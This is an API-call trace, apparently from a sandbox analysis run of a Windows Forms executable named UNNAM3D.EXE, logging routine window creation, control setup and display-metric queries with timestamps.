GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.392] AdjustWindowRectEx (in: lpRect=0x32edfc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32edfc) returned 1 [0040.393] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.393] AdjustWindowRectEx (in: lpRect=0x32ec60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ec60) returned 1 [0040.393] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.393] AdjustWindowRectEx (in: lpRect=0x32eabc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eabc) returned 1 [0040.393] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.393] AdjustWindowRectEx (in: lpRect=0x32edfc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32edfc) returned 1 [0040.393] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.393] AdjustWindowRectEx (in: lpRect=0x32ec60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ec60) returned 1 [0040.393] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.393] AdjustWindowRectEx (in: lpRect=0x32eabc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eabc) returned 1 [0040.393] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.393] AdjustWindowRectEx (in: lpRect=0x32edfc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32edfc) returned 1 [0040.394] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.394] AdjustWindowRectEx (in: lpRect=0x32ec60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ec60) returned 1 [0040.394] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.394] AdjustWindowRectEx (in: lpRect=0x32eabc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eabc) returned 1 [0040.394] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.394] AdjustWindowRectEx (in: lpRect=0x32edfc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32edfc) returned 1 [0040.394] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.394] AdjustWindowRectEx (in: lpRect=0x32ec60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ec60) returned 1 [0040.394] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.394] AdjustWindowRectEx (in: lpRect=0x32eabc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eabc) returned 1 [0040.394] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.394] AdjustWindowRectEx (in: lpRect=0x32edfc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32edfc) returned 1 [0040.394] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.394] AdjustWindowRectEx (in: lpRect=0x32ec60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ec60) returned 1 [0040.395] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.395] AdjustWindowRectEx (in: lpRect=0x32eabc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eabc) returned 1 [0040.395] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.395] AdjustWindowRectEx (in: lpRect=0x32edfc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32edfc) returned 1 [0040.395] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.395] AdjustWindowRectEx (in: lpRect=0x32ec60, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ec60) returned 1 [0040.395] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.395] AdjustWindowRectEx (in: lpRect=0x32eabc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32eabc) returned 1 [0040.395] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.395] AdjustWindowRectEx (in: lpRect=0x32edfc, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32edfc) returned 1 [0040.395] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x75040000 [0040.395] AdjustWindowRectEx (in: lpRect=0x32ec60, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x32ec60) returned 1 [0040.396] GetCurrentActCtx (in: lphActCtx=0x32f348 | out: lphActCtx=0x32f348*=0x0) returned 1 [0040.396] ActivateActCtx (in: hActCtx=0x441964, lpCookie=0x32f358 | out: hActCtx=0x441964, lpCookie=0x32f358) returned 1 [0040.396] GetCurrentActCtx (in: lphActCtx=0x32f168 | out: lphActCtx=0x32f168*=0x441964) returned 1 [0040.396] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74ea0000 [0040.396] AdjustWindowRectEx (in: lpRect=0x32f0cc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x32f0cc) returned 1 [0040.396] GetCursorPos (in: lpPoint=0x2a5ac40 | out: lpPoint=0x2a5ac40*(x=170, y=368)) returned 1 [0040.396] MonitorFromPoint (pt=0xaa, dwFlags=0x170) returned 0x10001 [0040.396] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x32efa8 | out: lpmi=0x32efa8) returned 1 [0040.396] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x18010836 [0040.396] GetDeviceCaps (hdc=0x18010836, index=12) returned 32 [0040.396] GetDeviceCaps (hdc=0x18010836, index=14) returned 1 [0040.396] DeleteDC (hdc=0x18010836) returned 1 [0040.396] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x32effc | out: lpmi=0x32effc) returned 1 [0040.396] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0040.396] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName="UNNAM3D", dwStyle=0x2010000, X=486, Y=215, nWidth=468, nHeight=430, hWndParent=0x0, hMenu=0x0, hInstance=0xb00000, lpParam=0x0) returned 0x40130 [0040.396] SetWindowLongW (hWnd=0x40130, nIndex=-4, dwNewLong=2011243997) returned 84674742 [0040.396] GetWindowLongW (hWnd=0x40130, nIndex=-4) returned 2011243997 [0040.397] SetWindowLongW (hWnd=0x40130, nIndex=-4, dwNewLong=84675710) returned 2011243997 [0040.397] GetWindowLongW (hWnd=0x40130, nIndex=-4) returned 84675710 [0040.397] GetWindowLongW (hWnd=0x40130, nIndex=-16) returned 113311744 [0040.397] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x81, wParam=0x0, lParam=0x32ebfc) returned 0x1 [0040.397] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x83, wParam=0x0, lParam=0x32ebe8) returned 0x0 [0040.458] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x1, wParam=0x0, lParam=0x32ebfc) returned 0x0 [0040.458] GetClientRect (in: hWnd=0x40130, lpRect=0x32e934 | out: lpRect=0x32e934) returned 1 [0040.458] GetWindowRect (in: hWnd=0x40130, lpRect=0x32e934 | out: lpRect=0x32e934) returned 1 [0040.458] SetWindowTextW (hWnd=0x40130, lpString="UNNAM3D") returned 1 [0040.458] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0xc, wParam=0x0, lParam=0x2a59d4c) returned 0x1 [0040.459] GetStartupInfoW (in: lpStartupInfo=0x2a5b008 | out: lpStartupInfo=0x2a5b008*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0040.459] GetParent (hWnd=0x40130) returned 0x0 [0040.459] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0040.459] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0xb00000, lpParam=0x0) returned 0x50120 [0040.459] SetWindowLongW (hWnd=0x50120, nIndex=-4, dwNewLong=2011243997) returned 84674942 [0040.459] GetWindowLongW (hWnd=0x50120, nIndex=-4) returned 2011243997 [0040.459] SetWindowLongW (hWnd=0x50120, nIndex=-4, dwNewLong=84675750) returned 2011243997 [0040.459] GetWindowLongW (hWnd=0x50120, nIndex=-4) returned 84675750 [0040.459] GetWindowLongW (hWnd=0x50120, nIndex=-16) returned 79691776 [0040.459] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x50120, Msg=0x24, wParam=0x0, lParam=0x32ec30) returned 0x0 [0040.460] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x50120, Msg=0x81, wParam=0x0, lParam=0x32ec24) returned 0x1 [0040.460] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x50120, Msg=0x83, wParam=0x0, lParam=0x32ec10) returned 0x0 [0040.460] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x50120, Msg=0x1, wParam=0x0, lParam=0x32ec24) returned 0x0 [0040.460] SetWindowLongW (hWnd=0x40130, nIndex=-8, dwNewLong=327968) returned 0 [0040.460] SendMessageW (hWnd=0x40130, Msg=0x80, wParam=0x0, lParam=0x0) returned 0x0 [0040.461] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x80, wParam=0x0, lParam=0x0) returned 0x0 [0040.461] SendMessageW (hWnd=0x40130, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0040.461] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0040.464] GetSystemMenu (hWnd=0x40130, bRevert=0) returned 0x0 [0040.464] GetWindowPlacement (in: hWnd=0x40130, lpwndpl=0x32f178 | out: lpwndpl=0x32f178) returned 1 [0040.464] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0040.464] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0040.464] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0040.464] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0040.464] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0040.464] GetClientRect (in: hWnd=0x40130, lpRect=0x32f1bc | out: lpRect=0x32f1bc) returned 1 [0040.464] GetClientRect (in: hWnd=0x40130, lpRect=0x32f11c | out: lpRect=0x32f11c) returned 1 [0040.464] GetWindowRect (in: hWnd=0x40130, lpRect=0x32f11c | out: lpRect=0x32f11c) returned 1 [0040.464] SetWindowLongW (hWnd=0x40130, nIndex=-8, dwNewLong=327968) returned 327968 [0040.465] GetSystemMetrics (nIndex=11) returned 32 [0040.465] GetSystemMetrics (nIndex=12) returned 32 [0040.465] GetDC (hWnd=0x0) returned 0x30107fe [0040.465] GetDeviceCaps (hdc=0x30107fe, index=12) returned 32 [0040.465] GetDeviceCaps (hdc=0x30107fe, index=14) returned 1 [0040.465] ReleaseDC (hWnd=0x0, hDC=0x30107fe) returned 1 [0040.466] CreateIconFromResourceEx (presbits=0x2a5dad4, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x801d5 [0040.466] SendMessageW (hWnd=0x50120, Msg=0x80, wParam=0x1, lParam=0x801d5) returned 0x0 [0040.466] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x50120, Msg=0x80, wParam=0x1, lParam=0x801d5) returned 0x0 [0040.467] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x50120, Msg=0xd, wParam=0x104, lParam=0x4f9c5e0) returned 0x0 [0040.467] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x50120, Msg=0xd, wParam=0x104, lParam=0x4f9c5e0) returned 0x0 [0040.467] SetWindowPos (hWnd=0x40130, hWndInsertAfter=0xffffffff, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0040.467] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x46, wParam=0x0, lParam=0x32f134) returned 0x0 [0040.467] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x50120, Msg=0x46, wParam=0x0, lParam=0x32f134) returned 0x0 [0040.467] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x46, wParam=0x0, lParam=0x32f134) returned 0x0 [0040.467] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x50120, Msg=0x46, wParam=0x0, lParam=0x32f134) returned 0x0 [0040.468] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0040.468] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x50120, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0040.468] NtdllDefWindowProc_W () returned 0x0 [0040.468] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0040.468] OleInitialize (pvReserved=0x0) returned 0x0 [0040.469] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x32eef4 | out: lplpMessageFilter=0x32eef4*=0x0) returned 0x0 [0040.474] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0040.475] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0040.475] GetParent (hWnd=0x40130) returned 0x0 [0040.475] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0040.475] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0040.475] GetWindowPlacement (in: hWnd=0x40130, lpwndpl=0x32eee4 | out: lpwndpl=0x32eee4) returned 1 [0040.475] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x47, wParam=0x0, lParam=0x32f134) returned 0x0 [0040.475] GetClientRect (in: hWnd=0x40130, lpRect=0x32ee94 | out: lpRect=0x32ee94) returned 1 [0040.475] GetWindowRect (in: hWnd=0x40130, lpRect=0x32ee94 | out: lpRect=0x32ee94) returned 1 [0040.476] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x83, wParam=0x1, lParam=0x32ed18) returned 0x0 [0040.476] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74ea0000 [0040.476] GetWindowLongW (hWnd=0x40130, nIndex=-16) returned 113311744 [0040.476] GetCursorPos (in: lpPoint=0x2a5ee4c | out: lpPoint=0x2a5ee4c*(x=170, y=368)) returned 1 [0040.476] MonitorFromPoint (pt=0xac, dwFlags=0x170) returned 0x10001 [0040.476] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x32efe8 | out: lpmi=0x32efe8) returned 1 [0040.476] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x14010715 [0040.476] GetDeviceCaps (hdc=0x14010715, index=12) returned 32 [0040.476] GetDeviceCaps (hdc=0x14010715, index=14) returned 1 [0040.476] DeleteDC (hdc=0x14010715) returned 1 [0040.477] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x32f03c | out: lpmi=0x32f03c) returned 1 [0040.477] GetWindowLongW (hWnd=0x40130, nIndex=-16) returned 113311744 [0040.477] GetWindowLongW (hWnd=0x40130, nIndex=-20) returned 65800 [0040.477] SetWindowLongW (hWnd=0x40130, nIndex=-16, dwNewLong=33619968) returned 113311744 [0040.477] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x7c, wParam=0xfffffff0, lParam=0x32f110) returned 0x0 [0040.477] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x7d, wParam=0xfffffff0, lParam=0x32f110) returned 0x0 [0040.477] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x46, wParam=0x0, lParam=0x32ea90) returned 0x0 [0040.477] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x83, wParam=0x1, lParam=0x32ea68) returned 0x0 [0040.477] GetWindowPlacement (in: hWnd=0x40130, lpwndpl=0x32e840 | out: lpwndpl=0x32e840) returned 1 [0040.477] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x47, wParam=0x0, lParam=0x32ea90) returned 0x0 [0040.477] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x3, wParam=0x0, lParam=0xd701e6) returned 0x0 [0040.477] GetClientRect (in: hWnd=0x40130, lpRect=0x32e354 | out: lpRect=0x32e354) returned 1 [0040.477] GetWindowRect (in: hWnd=0x40130, lpRect=0x32e354 | out: lpRect=0x32e354) returned 1 [0040.477] GetWindowTextLengthW (hWnd=0x40130) returned 7 [0040.477] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0040.478] GetSystemMetrics (nIndex=42) returned 0 [0040.478] GetWindowTextW (in: hWnd=0x40130, lpString=0x32e1c0, nMaxCount=8 | out: lpString="UNNAM3D") returned 7 [0040.478] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0xd, wParam=0x8, lParam=0x32e1c0) returned 0x7 [0040.478] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x5, wParam=0x0, lParam=0x1ae01d4) returned 0x0 [0040.478] GetClientRect (in: hWnd=0x40130, lpRect=0x32e7f0 | out: lpRect=0x32e7f0) returned 1 [0040.478] GetWindowRect (in: hWnd=0x40130, lpRect=0x32e7f0 | out: lpRect=0x32e7f0) returned 1 [0040.478] SetWindowLongW (hWnd=0x40130, nIndex=-20, dwNewLong=65536) returned 65544 [0040.478] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x7c, wParam=0xffffffec, lParam=0x32f110) returned 0x0 [0040.478] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x7d, wParam=0xffffffec, lParam=0x32f110) returned 0x0 [0040.478] SetWindowPos (hWnd=0x40130, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0040.478] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x46, wParam=0x0, lParam=0x32f130) returned 0x0 [0040.478] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x83, wParam=0x1, lParam=0x32f108) returned 0x0 [0040.479] GetWindowPlacement (in: hWnd=0x40130, lpwndpl=0x32eee0 | out: lpwndpl=0x32eee0) returned 1 [0040.479] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x47, wParam=0x0, lParam=0x32f130) returned 0x0 [0040.479] GetClientRect (in: hWnd=0x40130, lpRect=0x32ee90 | out: lpRect=0x32ee90) returned 1 [0040.479] GetWindowRect (in: hWnd=0x40130, lpRect=0x32ee90 | out: lpRect=0x32ee90) returned 1 [0040.479] RedrawWindow (hWnd=0x40130, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0040.479] GetSystemMenu (hWnd=0x40130, bRevert=0) returned 0x0 [0040.479] GetWindowPlacement (in: hWnd=0x40130, lpwndpl=0x32f168 | out: lpwndpl=0x32f168) returned 1 [0040.479] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0040.479] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0040.479] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0040.479] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0040.479] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0040.479] ShowWindow (hWnd=0x40130, nCmdShow=5) [0040.479] CallWindowProcW (lpPrevWndFunc=0x77e125dd, hWnd=0x40130, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0040.479] GetCurrentActCtx (in: lphActCtx=0x32ee10 | out: lphActCtx=0x32ee10*=0x441964) returned 1 [0040.479] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74ea0000 [0040.479] GetClassInfoW (in: hInstance=0x0, lpClassName="RichEdit20W", lpWndClass=0x2a5f220 | out: lpWndClass=0x2a5f220) returned 1 [0040.480] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0040.480] CoTaskMemAlloc (cb=0x62) returned 0x456890 [0040.480] RegisterClassW (lpWndClass=0x32ecc8) returned 0xc134 [0040.480] CoTaskMemFree (pv=0x456890) [0040.480] GetModuleHandleW (lpModuleName=0x0) returned 0xb00000 [0040.480] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.RichEdit20W.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x56210844, X=15, Y=278, nWidth=141, nHeight=125, hWndParent=0x40130, hMenu=0x0, hInstance=0xb00000, lpParam=0x0) returned 0x301ec [0040.480] SetWindowLongW (hWnd=0x301ec, nIndex=-4, dwNewLong=1960976634) returned 84675790 [0040.480] GetWindowLongW (hWnd=0x301ec, nIndex=-4) returned 1960976634 [0040.480] SetWindowLongW (hWnd=0x301ec, nIndex=-4, dwNewLong=84675830) returned 1960976634 [0040.480] GetWindowLongW (hWnd=0x301ec, nIndex=-4) returned 84675830 [0040.480] GetWindowLongW (hWnd=0x301ec, nIndex=-16) returned 1176569924 [0040.480] GetWindowLongW (hWnd=0x301ec, nIndex=-12) returned 0 [0040.480] SetWindowLongW (hWnd=0x301ec, nIndex=-12, dwNewLong=197100) returned 0 [0040.480] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x81, wParam=0x0, lParam=0x32e8a4) returned 0x1 [0040.481] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x7c, wParam=0xffffffec, lParam=0x32d208) returned 0x0 [0040.481] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x7d, wParam=0xffffffec, lParam=0x32d208) returned 0x0 [0040.483] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x83, wParam=0x0, lParam=0x32e890) returned 0x0 [0040.483] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x1, wParam=0x0, lParam=0x32e8a4) returned 0x0 [0040.484] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x46, wParam=0x0, lParam=0x32daac) returned 0x0 [0040.484] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x83, wParam=0x1, lParam=0x32da84) returned 0x0 [0040.484] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x47, wParam=0x0, lParam=0x32daac) returned 0x0 [0040.484] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x5, wParam=0x0, lParam=0x790089) returned 0x0 [0040.484] GetClientRect (in: hWnd=0x301ec, lpRect=0x32d804 | out: lpRect=0x32d804) returned 1 [0040.484] GetWindowRect (in: hWnd=0x301ec, lpRect=0x32d804 | out: lpRect=0x32d804) returned 1 [0040.484] GetParent (hWnd=0x301ec) returned 0x40130 [0040.484] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32d804, cPoints=0x2 | out: lpPoints=0x32d804) returned -14025190 [0040.484] GetParent (hWnd=0x301ec) returned 0x40130 [0040.495] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x7c, wParam=0xfffffff0, lParam=0x32db50) returned 0x0 [0040.495] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x7d, wParam=0xfffffff0, lParam=0x32db50) returned 0x1 [0040.495] GetWindow (hWnd=0x301ec, uCmd=0x3) returned 0x0 [0040.495] GetClientRect (in: hWnd=0x301ec, lpRect=0x32e5e4 | out: lpRect=0x32e5e4) returned 1 [0040.496] GetWindowRect (in: hWnd=0x301ec, lpRect=0x32e5e4 | out: lpRect=0x32e5e4) returned 1 [0040.496] GetParent (hWnd=0x301ec) returned 0x40130 [0040.496] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40130, lpPoints=0x32e5e4, cPoints=0x2 | out: lpPoints=0x32e5e4) returned -14025190 [0040.496] SendMessageW (hWnd=0x301ec, Msg=0x435, wParam=0x0, lParam=0x7fffffff) returned 0x0 [0040.496] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x435, wParam=0x0, lParam=0x7fffffff) returned 0x0 [0040.496] SendMessageW (hWnd=0x301ec, Msg=0x445, wParam=0x0, lParam=0x4bf000f) returned 0x0 [0040.496] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x445, wParam=0x0, lParam=0x4bf000f) returned 0x0 [0040.496] SendMessageW (hWnd=0x301ec, Msg=0x45b, wParam=0x1, lParam=0x0) returned 0x0 [0040.496] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x45b, wParam=0x1, lParam=0x0) returned 0x0 [0040.496] SendMessageW (hWnd=0x301ec, Msg=0x44d, wParam=0x4, lParam=0x1) returned 0x841 [0040.496] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x44d, wParam=0x4, lParam=0x1) returned 0x841 [0040.496] SendMessageW (hWnd=0x301ec, Msg=0x443, wParam=0x0, lParam=0x0) returned 0xffffff [0040.496] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x443, wParam=0x0, lParam=0x0) returned 0xffffff [0040.497] SendMessageW (hWnd=0x301ec, Msg=0x43a, wParam=0x0, lParam=0x32e4bc) returned 0xf800003f [0040.497] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x43a, wParam=0x0, lParam=0x32e4bc) returned 0xf800003f [0040.497] SendMessageW (hWnd=0x301ec, Msg=0x444, wParam=0x4, lParam=0x32e4bc) returned 0x1 [0040.497] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x444, wParam=0x4, lParam=0x32e4bc) returned 0x1 [0040.497] SendMessageW (hWnd=0x301ec, Msg=0x204e, wParam=0x301ec, lParam=0x32d698) returned 0x0 [0040.498] SendMessageW (hWnd=0x301ec, Msg=0x2111, wParam=0x30001ec, lParam=0x301ec) returned 0x0 [0040.498] SendMessageW (hWnd=0x301ec, Msg=0x30, wParam=0x130a0826, lParam=0x0) returned 0x1 [0040.498] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x30, wParam=0x130a0826, lParam=0x0) returned 0x1 [0040.499] SendMessageW (hWnd=0x301ec, Msg=0x204e, wParam=0x301ec, lParam=0x32d314) returned 0x0 [0040.499] SendMessageW (hWnd=0x301ec, Msg=0x204e, wParam=0x301ec, lParam=0x32d64c) returned 0x0 [0040.499] SendMessageW (hWnd=0x301ec, Msg=0x2111, wParam=0x30001ec, lParam=0x301ec) returned 0x0 [0040.499] SendMessageW (hWnd=0x301ec, Msg=0x43a, wParam=0x0, lParam=0x32e1cc) returned 0xf800003f [0040.499] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x43a, wParam=0x0, lParam=0x32e1cc) returned 0xf800003f [0040.499] SendMessageW (hWnd=0x301ec, Msg=0x444, wParam=0x4, lParam=0x32e1cc) returned 0x1 [0040.499] CallWindowProcW (lpPrevWndFunc=0x74e220fa, hWnd=0x301ec, Msg=0x444, wParam=0x4, lParam=0x32e1cc) returned 0x1 [0040.499] SendMessageW (hWnd=0x301ec, Msg=0x204e, wParam=0x301ec, lParam=0x32d3a8) returned 0x0 [0040.499] SendMessageW (hWnd=0x301ec, Msg=0x2111, wParam=0x30001ec, lParam=0x301ec) returned 0x0 [0040.500] GetSystemMetrics (nIndex=5) returned 1 [0040.500] GetSystemMetrics (nIndex=6) returned 1 